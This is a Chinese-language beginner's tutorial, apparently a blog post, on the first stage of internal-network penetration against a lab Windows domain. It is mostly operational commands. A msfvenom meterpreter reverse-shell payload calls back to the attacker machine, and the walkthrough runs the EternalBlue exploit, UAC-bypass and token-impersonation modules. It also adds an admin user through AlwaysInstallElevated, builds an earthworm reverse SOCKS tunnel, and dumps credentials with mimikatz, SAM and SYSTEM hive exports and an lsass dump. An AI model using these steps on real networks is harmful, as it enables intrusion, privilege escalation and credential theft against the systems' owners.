前言

本文是关于内网安全系列的文章,我计划分为3部分来写,内网渗透三步走战略。在文章中我将尽可能把内容描述的通俗易懂一些,因为目前网上关于内网安全的文章不多也不少,但是对于新手来说都不怎么友好,我在一开始学习的时候也遇到了许多困难,所以我想尽我所能的让读者能够理解内网安全以及一系列的渗透过程。

 

0x00 写在前面

我将内网渗透分为三个部分,分别为:

  1. 信息搜集+内网提权+隧道搭建
  2. 内网横向移动
  3. 持久化控制:后门+免杀

在本文中我将详尽的描述第一部分,之后两部分会在后续文章中依次进行。本文中出现的所有工具都可以找我拿Q:2070575892。

本文顺序:

内网架构及反弹shell-》信息搜集1-》本地提权-》隧道搭建-》信息搜集2
(如果需要的话,我会添加一些基础的前置知识,望能够帮助入门的朋友更好地理解文章内容)

这么做主要是因为提权与信息搜集是息息相关、相互嵌套的,你拿到怎样的权限才能获取相对应的信息,==内网渗透就是不断获取信息的过程==。在刚拿到内网机器时你的权限只允许你做简单的信息搜集,而之后需要现根据之前搜集的内容进行提权,而要获取内网中其他主机的信息以及后续对于其他主机的渗透又需要隧道进行通信,所以在提权后进行隧道搭建,最后实施进一步的信息搜集。

啰嗦了一些,下面终于要进入正文了。

 

0x01 内网架构及反弹shell

Ⅰ 内网环境

我用一张图来表示(其中域名为lce.com):

1

可以看到攻击机kali与内网win7可以通信,win7、server2012(域控)和xp在同一个域内(lce.com),其中win7与server2012在同一个局域网,而server2012与xp又在另一个局域网内。
目前情况是我们已经拿到了win7的webshell,接下来我们需要通过kali拿到反弹shell,之后我们再横向拿下域控,再进一步拿下xp这台主机。

Ⅱ msf反弹shell

为什么要反弹shell
一般来说目标主机与我们攻击者之间都存在防火墙等安全设备,限制了流入目标主机的流量,导致我们直接连接目标主机会失败。所以我们想让目标主机主动连接我们,这就是反弹shell。

如何反弹shell
反弹shell的方法有很多,这里推荐使用msfconsole+msfvenom,如果需要免杀还可以生成指令配合混淆免杀,比如Backdoor-factory等等。
我们通过反弹shell,将16.131的win7的shell反弹给我们的攻击机10.200的kali。

1.生成目标文件
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=10.188.10.200 LPORT=6666 -f exe > attack.exe
2.通过webshell上传attack.exe到目标主机并运行。
3.打开msf使用
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    show options 之后设置lpost和lhost即可
    exploit
4.得到反弹的meterpreter

PS:msfvenom参数说明:
        -p –payload < payload> 指定需要使用的payload
        -l payloads 查看所有的攻击载荷
        -e –encoder [encoder] 指定需要使用的encoder
        -i 5 –iterations <count> 指定payload的编码次数为5次
        -f 生成文件格式
        lhost和lport分别为反弹到主机的ip和端口号 

 

0x02 信息搜集1

本机信息搜集(主要任务是探测本机简单信息,为提权和进一步信息搜集做准备,其中有价值的信息主要是用网段信息、户账户和系统信息)

whoami /all //查询当前用户 ipconfig /all //列出网络信息 net user //查询当前电脑的用户账户 systeminfo //查询主机信息 tasklist //查询进程列表 query user //查询当前用户以及登陆时间等信息 route print //打印路由 arp -a //打印arp缓存信息 netstat -ano | findstr "3306" //查询相关端口信息 net share //查看共享资源 net session //列出或断开本地计算机和与之连接的客户端的会话 cmdkey list //列出本机凭据 wmic product //查询安装软件信息 wmic service //查询本机服务信息 netsh firewall show config //查看防火墙设置 net statistics workstation //本地工作站或服务器服务的统计记录 

上述命令按照是否常用顺序排列。
其中ipconfig和net user以及systeminfo非常重要。

  • 通过ipconfig可以查看到当前主机位于哪个网段,如果还存在其他网段,那么极有可能存在另一个局域网区域。比如上述环境中的win7,既与kali在同一个外网,也存在于另一个网段192.168.174.1中。所以进一步的信息搜集可以对这个网段扫描。
  • 通过net user更是可以查看有哪些用户存在,为下一步的域渗透和提权做准备。
  • 通过systeminfo查看本机信息,获取哪些补丁没有打,为接下来提权做准备。

 

0x03 本地提权

Ⅰ 溢出漏洞提权

溢出漏洞
缓冲区溢出漏洞,是由于恶意代码在执行时,向缓冲区写入超过其长度的内容,造成进程的堆栈被更改,进而执行恶意代码,达到了攻击的目的。

我们主要需要利用工具找出系统相关系统漏洞并加以利用,配合msf或者Cobaltstrike等相关工具实现提权。

msf > use post/windows/gather/enum_patches

通过已经获取的meterpreter的session查询目标主机存在的可以利用的漏洞 

windows-exploit-suggester.py -d vulinfo.xls -i systeminfo.txt 其中systeminfo.txt内容是通过systeminfo命令获取的系统信息,里面记录了所有打过的补丁, windows-exploit-suggester.py这个py文件根据补丁记录与漏洞信息(vulinfo.xls)进行比较,
获得可以利用的相关漏洞。 

import-module Sherlock.ps1
find-allvulns

首先导入Sherlock.ps1这个powershell模块,之后调用find-allvulns查询可以利用的漏洞。 

.\Vulmap.ps1 直接执行脚本Vulmap.ps1,可以自动查询出本机可以利用的漏洞。 

.\KBCollect.ps1 //收集信息 .\cve-check.py -u //创建CVEKB数据库 .\cve-check.py -U //更新CVEKB数据库中的hasPOC字段 .\cve-check.py -C -f KB.json //查看具有公开EXP的CVE 

.\ms17-010-m4ss-sc4nn3r-master.exe 10.188.16.131 查询IP主机是否存在ms17-010漏洞利用。 

当然还有其它方法,我这里就不一一列举了。在拿到可以利用的漏洞以后,可以使用msf自带的exploit模块进行攻击,或者在windows-kernel-exploits公开的收集库中查找可以用来提权的exp。

我这里通过msf使用永恒之蓝(ms17-010)拿到win7的system权限。

msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 > show options
msf5 > set rhost 10.188.16.131 msf5 > exploit 

2

Ⅱ ByPassUAC

关于UAC
User Account Control,用户帐户控制是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。

3

这里我主要介绍使用msf以及另外两个框架内来bypass,以及简单利用CobaltStrike4.0来提权。

在得到反弹的meterpreter后,我们执行background,将session放到后台,之后,选取bypass模块。
msf5 > use exploit/windows/local/bypassuac //或者use exploit/windows/local/bypassuac_injection 
                                           //或者use exploit/windows/local/bypassuac_vbs
msf5 > show options
msf5 > set session 3 //这里的session就是我们反弹shell得到的meterpreter
msf5 > exploit 

这里介绍使用nishang开源框架,主要用于后渗透攻击,存在许多模块,比如提权,端口扫描,后门等等。
首先下载nishang后上传到目标机器(win7),之后使用msf获取的底用户权限的shell导入nishang框架,并使用。 import-module .\nishang.psm1 //导入 Get-Command -Module nishang //获取可以使用的module Invoke-PsUACme //使用bypassuac这个模块进行提权 其他模块先不做具体介绍,在接下来还会陆续使用。基本上看名字就可以知道它的用处。 

最后介绍Empire框架,它类似于msf,也是一款集成的工具。
首先我们需要下载并安装Empire到kali,之后操作类似msf反弹shell,可以获取目标机器的会话(这里略过)。之后bypass提权我们使用usemodule privesc/bypassuac这个模块。 > usemodule privesc/bypassuac > info > set listener w7   //这里的w7是之前反弹会话时设置的监听 > execute 

CobaltStrike4.0(大名鼎鼎QAQ)
以kali为例讲解
下载好以后进入其目录,打开两个终端以便于后续操作,以下指令最好用root权限执行。
./teamserver 10.188.10.200 pass //终端1执行,IP是本机地址,pass是自己设置的密码(一会要用) ./start.sh //终端2执行,打开CobaltStrike界面,输入用户名(随意)和密码(刚才设置的) Cobalt Strike->Listenners //界面操作,创建listener Attacks->Packages->Windows Executable //生成反弹shell的文件,生成后上传到目标主机win7,并运行 类似于meterpreter,我们会获得一个beacon用来执行命令。
之后进行提权,我们这里选择uac提权,也可以选择其他方式。以图来说明。

CobaltStrike还有其他许多用处比如:桌面交互、进程列表、端口扫描、代理、钓鱼等功能,
域内功能包括mimikatz、hashdump、金票据等等,我们之后也会陆续介绍。可以说CobaltStrike是一款强大的图形化的内网工具。 

4

5

Ⅲ 令牌窃取

关于Token
Windows有两种类型的Token:

  1. Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
  2. Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文档夹)

另外,两种token只在系统重启后清除。具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效。

这里介绍两种方式使用令牌窃取进行提权。

incognito:exe/msf均可,msf中的incognito是从windows中的exe文件中移植过去的,这里以msf自带的incognito为例。
首先我们进入之前获取的meterpreter
msf5 > session 3 meterpreter > load incognito //加载incognito(除了incognito外还可以加载其他插件比如mimikatz,我们之后会用到) meterpreter > getuid //查看当前token  meterpreter > list_tokens -u //列出可用token meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" //token窃取,格式为impersonate_token"主机名\\用户名" meterpreter > getuid //查看当前token  meterpreter > rev2self //返回之前的token windows平台下的incognito.exe操作与此类似。 

rotten potato+meterpreter,适用于当没有Impersonmate Token时的情况。
首先上传rottenpotato.exe到目标主机
meterpreter > list_tokens -u //此时只有当前用户令牌 meterpreter > execute -cH -f rottenpotato.exe //执行rottenpotato模仿system令牌 meterpreter > list_tokens -u //此时会有system权限的模仿令牌 meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" //token窃取 

Ⅳ 系统配置错误提权

可信任服务路径

包含空格且没有引号的路径漏洞
计算机系统管理员在配置相关服务时,会指定可执行文件的路径,但是如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
比如:C:\Program Files\Vul file\example.exe
尝试依次执行:C:\Program.exe、C:\Program Files\Vul.exe、C:\Program Files\Vul file\example.exe

如果可以找到这样的路径,我们只需要写的权限,可以放置一个恶意文件,让操作系统把恶意文件执行。

查找可信任服务路径

使用wmic查询:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ 

使用msf
msf5 > use exploit/windows/local/trust_service_path
msf5 > show options //可以看到只需要之前获取的meterpreter的session
msf5 > set session 3
msf5 > exploit 

系统服务权限配置错误

低权限用户对系统调用的可执行文件有写权限,可以将该文件替换成任意可执行文件。
查找权限配置错误

import-module powerup.ps1 
invoke-allchecks //可以查找目标机器多种配置错误,包括环境变量等。 

使用msf
msf5 > use exploit/windows/local/service_permissions
之后只需设置session即可 

6

AlwaysInstallElevated

AlwaysInstallElevated
是一种允许非管理用户以system权限运行安装程序包(.msi文件)的设置。默认情况下禁用此设置,需系统管理员手动启用。

查找并利用

import-module powerup.ps1
get-registryAlwaysInstallElevated //若返回true则可以继续利用 write-useraddmsi //生成恶意msi文件 useradd.msi,msiexec /q /i useradd.msi //以普通权限运行命令,会添加一个管理员用户 

配置文件窃取

网络管理员配置时的配置文件,可能存在密码等信息。主要是搜索文件系统来查找常见的敏感文件。

dir /b /s c:Unattend.xml C:\Users\user\Desktop> dir C:\*vnc.ini /s /b /c C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\* ... 

使用msf
msf5 > post/windows/gather/enum_unattend 

GPP(组策略首选项)

组策略首选项
管理员在域中新建策略后,会在SYSVOL共享目录中生成XML文件,保存着密码等敏感信息。

powersploit框架(类似于nishang框架,也是一款后渗透神器)
首先下载powersploit框架后,进入目录打开命令窗口 import-module powersploit.psm1 //导入powersploit get-command //获取导入后可用的攻击模块 get-gpppassword //这个模块可以可以查询相关GPP信息 

使用msf
msf5 > use post/windows/gather/credentials/gpp 

Ⅴ 其他应用提权

其他应用主要是拿到webshell后进行数据库提权,比如mysql、mssql等,或者目标主机上的其他应用,但不是我们这里的重点,有兴趣的读者可以自行学习。

 

0x04 隧道搭建

隧道的搭建是内网渗透中必不可少的一环,利用打通的隧道,攻击者可以通过内网边缘主机进入内网环境,实施进一步的攻击。
在一开始的内网架构说明中,我们的win7(10.188.16.131)位于边缘部分,我们拿下以后,将以此为跳板进入内网实施攻击。总结的脑图如下(我们接下来将讲述图中几种隧道搭建的方式):

7

代理工具(linux->proxychains/windows->proxifier)+ew(socks)

无论是使用socks代理还是搭建隧道,最终都需要在kali(如果你是Windows机器作为攻击机那就用windows版)上借助代理工具使用搭建的隧道或者socks。

linux下的proxychains+ew(earthworm)

目标:
在目标机器win7(10.188.16.131和192.168.174.119)上使用ew转发到我们的攻击机kali的8888端口(10.188.10.200);
然后我们在kali上使用ew将win7转发过来的流量映射到本地的1080端口,之后我们使用proxychains代理访问本地的1080端口,那么流量就会从kali的1080到kali的8888再到win7主机。
即:10.188.10.200:1080->10.188.10.200:8888->10.188.16.131

操作:

  1. 下载linux和windows下的ew(earthworm),并上传到kali和win7;
  2. 在linux上安装proxychains,并进行配置;
    sudo apt-get install proxychains4 //安装proxychains4 vi /etc/proxychains.conf //设置配置文件,具体内容下文给出 /*proxychains.conf内容:第一步:proxy_dns前面加“#”,将其注释;第二步:在[proxylist]下面只留下“socks5  127.0.0.1 1080”这一行。配置完成,保存退出。*/ 

    8

  3. 在win7和kali依次使用ew:
    ./ew_for_Linux -s rcsocks -l 1080 -e 8888 //kali上执行 ew_for_Win.exe -s rssocks -d 10.188.10.200 -e 8888 //win7上执行 之后就可以在kali上使用proxychain4来访问了。 

    9

10

  1. 使用proxychains4和nmap扫描。
    proxychains4 nmap 192.168.174.119 -Pn (我们之前不能访问这个网段,但是经过隧道后可以访问了)
    还有其他操作,后续会写到。 

    PS:还可以使用ew进行多级代理,有兴趣的读者可以自行学习。

    windwos下的proxifier+ew(earthworm)

    这种情况是适用于攻击机不是linux而是windows系统时,其中ew的操作相同,只有proxychains换为了windows下的proxifier。
    因此,我们主要介绍proxifier的使用。

proxifier使用

  1. 下载后安装;
  2. 启动ew;
  3. 启动proxifier后,添加代理服务和代理规则:

11

12

13

  1. 之后使用chrome就可以访问192.168.174.119的服务器。

关于其他方式的说明

除了ew以外,其他隧道搭建工具比如nc(netcat)、lcx、reGeorg等等都可以使用,我这里只是提供了一种方式。感兴趣的读者可以根据之前给出的隧道搭建的脑图自行学习。

 

0x05 信息搜集2

在提权和隧道做好以后,我们接下来将正式第一次从内网边缘向内网内部“窥探”。第二次的信息搜集主要需要对内网主机进行探测,另外需要对域信息进行搜集,包括:域内用户信息,域控信息,NTLM hash等等,目的是为接下来的横向渗透做基础(这一部分单独放到下一篇文章中来讲)。

林是域的集合,多个域组成了林。比方说,xxx北京分公司在一个域,xxx上海分公司在另外一个域,而这两个域又在同一个林中,方便了管理。

域环境

域是区别于工作组的,为了方便管理和有效区分各个部门域,常见于企业公司中。

域的体系结构中最重要的是域控(DC),域控是装有活动目录(AD)的计算机,域控可以通过LDAP查询AD控制域内的所有内容,并加以控制。一个域内可以有多台域控,每台域控有独立的AD;

活动目录(AD):Active Directory是微软对目录服务数据库的实现,AD存储了有关域内对象的信息,方便管理员和用户可以查找并使用这些信息。其中通过LDAP(轻量级目录访问协议)来访问AD;

Naming Context和Application Partitions:Naming Context是Active Directory的分区,分区的主要目的是在有多台域控的时候,每台域控只需要复制其他域控某些分区的内容即可,减少了工作量。三个默认存在的Naming Context是:Configuration NC(Configuration NC)、Schema NC(Schema NC)、Domain NC(DomainName NC)。在之后,微软允许用户自定义分区来扩展Naming Context,这就是Application Partitions。两个预置的是:DomainDnsZones和ForestDnsZones;

域环境下的用户:使用用户名以及密码通过域控制器进行验证,可以在同一域内的任何一台计算机登陆。其中管理员用户又称为域管,这里的域管理员用户与域控本机的管理员其实是分开的,但是他们的密码是相同的;

域内的组:用户是属于组的。组按照用途分为通讯组和安全组,其中安全组是权限的集合,如果需要赋予某个用户某种权限,那就可以将这个用户加入对应的组。安全组又分为域本地组、通用组和全局组。
常见的域本地组是Administrators,它具备系统管理员的权限,拥有对整个域最大的控制权。
常见的通用组是Enterprise Admins,在林中,只有林根域才有这个组,林中其他域没有这个组,但其他域默认会把这个组加入到本域的Administrators里面去。
常见的全局组是Domain Admins,也就是域管组。其中Administrators包括Domain Admins和Enterprise Admins;

域内的组织单位(OU):Organization Unit是专用容器,区别于普通容器的一点是OU受组策略的控制,它与组完全不同:组是权限的集合,而组织单位是被管理者的集合。组织单位包括:用户,计算机,工作组,其他组织单位等;

组策略:组策略可以控制本机和域内的用户以及他们的操作。组策略分为本机组策略和域的组策略,其中本机组策略用于计算机管理员管理本机所有用户,而域的组策略用于域管对于域内用户的控制。在后面我们会介绍通过组策略设置后门;

这是最后总结的图:

14

搜集相关

基础

最主要目的是确认自己所处的是哪个域,以及域控的位置。
域控一般是本机的DNS服务器。
ipconfig /all
net time /domain /*1. 找不到域控制器:处于工作组,不存在域;
    2. 发生错误,拒绝访问:存在域,不是域用户;
    3. 查询成功:存在域,是域用户;*/ net view /domain
net user /domain
net group /domain
net group "domain admins" /domain
net group "domain computers" /domain
net group "domain controllers" /domain
net accounts /domain
net config workstation
wmic useraccount get /all
net loaclgroup [administrator]
nltest /domain_trusts /all_trusts /v /server:域控IP 

端口、存活主机探测

nbtscan.exe 192.168.52.0/24 //内网存活主机探测 --- use auxiliary/scanner/portscan/tcp  //端口扫描,msf和其他下面的框架还有其他收集信息的模块,也都可以尝试。 --- PowerSploit:Invoke-Portscan.ps1 --- powerview:Invoke-userhunter/Invoke-processhunter --- Nishang:Invoke-PortScan --- PsLoggedon.exe      //查询谁登陆过机器 --- PVEFindADUser.exe   //枚举域用户以及登陆过特定系统的用户 --- BloodHound          //内网域渗透提权综合分析工具 --- 除此以外还有其他许多方法,读者可以自行探索、留言交流。 

密码获取

密码的获取是重中之重,关系到我们下一步横向渗透,
比如说利用pth、ptt、金票据、银票据、AS-REP Roasting和ntlm-relay等等的实现以及原理都放到下一篇文章中讲解。

神器mimikatz(msf也有内置的mimikatz模块):
    privilege::debug
    sekurlsa::logonpasswords
目前mimikatz一般会报毒,所以推荐将保存在注册表中的密码信息导出,传到本地再用mimikatz:
    reg save HKLM\SYSTEM C:\windows\temp\Sys.hiv //cmd命令导出Sys.hiv文件 reg save HKLM\SAM C:\windows\temp\Sam.hiv //cmd命令导出Sam.hiv文件 lsadump::sam /sam:Sam.hiv /system:Sys.hiv //mimikatz解密 读取内从中密码:
    procdump.exe -accepteula -ma lsass.exe lsass.dmp //导出文件下载到本地 mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords" //本地mimikatz解密 LaZagne工具可以读取机器内的浏览器、SSH等保存的密码。 

 

0x06 结语

本文介绍了入门内网渗透的第一步:内网架构及反弹shell-》信息搜集1-》本地提权-》隧道搭建-》信息搜集2,在之后会继续把这个入门教程写完,感谢支持。如果文中有错误或者有其他问题欢迎交流。感谢阅读,谢谢。